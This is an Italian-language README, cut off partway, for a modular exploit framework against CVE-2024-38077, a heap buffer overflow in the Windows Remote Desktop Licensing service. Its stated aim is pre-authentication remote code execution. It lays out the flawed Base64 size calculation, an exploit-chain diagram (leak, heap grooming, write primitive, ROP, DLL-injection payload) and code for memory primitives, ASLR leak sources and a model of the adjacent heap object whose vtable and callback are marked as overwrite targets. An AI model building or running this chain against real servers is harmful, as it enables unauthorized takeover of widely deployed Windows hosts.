Framework di exploit modulare per CVE-2024-38077 (heap overflow di Windows RDL) con bypass ASLR, heap grooming, generazione di catene ROP e payload di iniezione DLL per esecuzione remota di codice pre-autenticazione.
Questo documento spiega ogni componente del framework, perché esiste, e come funziona lo sfruttamento dell'heap buffer overflow su Windows moderno.
Il Windows Remote Desktop Licensing Service (lserver.exe) contiene un heap buffer overflow nella funzione CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILITÀ: Calcolo errato della dimensione │
├─────────────────────────────────────────────────────────────┤
│ 1. Il client invia dati Base64 di dimensione N │
│ 2. Il server calcola: buffer_size = (N / 4) * 3 │
│ 3. Il server alloca un buffer di 'buffer_size' byte │
│ 4. La decodifica Base64 REALMENTE scrive: ceil(N * 3/4) byte │
│ 5. Se N non è multiplo di 4: OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Esempio concreto:
(4001 / 4) * 3 = 1000 * 3 = 3000 byte allocaticeil(4001 * 0.75) = 3001 byte scritti┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FondamentaUtility di basso livello per la manipolazione della memoria.
Gli exploit necessitano di:
# Pack/Unpack - Convertire interi in byte e viceversa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Pattern Ciclico - Per identificare l'offset del crash
cyclic(100) # Genera sequenza di De Bruijn
cyclic_find(pattern, value) # Trova l'offset del valore
# Allineamento - La memoria deve essere allineata
align(0x1003, 0x10) # → 0x1010 (allinea a 16 byte)
Problema reale: Causi un crash e il RIP contiene 0x61616171.
cyclic_find(pattern, 0x61616171) → offset esatto!leak.py - Bypass di ASLRAddress Space Layout Randomization: A ogni avvio/esecuzione, gli indirizzi cambiano.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Senza sapere dove si trova la memoria:
class LeakInfo:
"""Container per indirizzi divulgati"""
heap_base: int # Base dell'heap
ntdll_base: int # Base di ntdll.dll
kernel32_base: int # Base di kernel32.dll
# ...
class LeakProvider:
"""Orchestratore delle fonti di leak"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Prova ogni fonte finché non ci riesce
| Fonte | Come Funziona | Quando Usarla |
|---|---|---|
ManualLeakSource | L'utente fornisce gli indirizzi | Lab/Debug con accesso al target |
ResponseLeakSource | Estratto dalle risposte RPC | Se il servizio fa trapelare puntatori |
TimingLeakSource | Side-channel temporale | Teorico, molto difficile |
In demo/lab, puoi:
--ntdll-base 0x7ffa...Questo simula un leak reale, permettendo di testare il resto della catena.
target_model.py - Mappatura del TargetModellazione delle strutture dati vulnerabili e adiacenti.
Overflow ≠ Exploit. Dobbiamo sapere:
class VulnerableBuffer:
"""Il buffer che subirà l'overflow"""
allocation_size: int # Quanto è stato allocato
write_size: int # Quanto verrà scritto
overflow_amount: int # Differenza = overflow
def calculate_overflow(input_size):
# Simula il bug di calcolo
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Oggetto che verrà corrotto (adiacente nell'heap)"""
fields: List[StructField]
has_vtable: bool # Ha una tabella virtuale?
has_function_ptr: bool # Ha un puntatore a funzione?
# Oggetto ipotetico basato su reverse engineering
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Campi mappati
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True?Marca i campi utili per lo sfruttamento:
vtable: Se la sovrascriviamo, controlliamo le chiamate ai metodicallback: Se lo sovrascriviamo, controlliamo quando il callback viene invocatowrite_primitive.py - Scrittura ControllataL'overflow scrive dati sequenziali. Ma ci serve: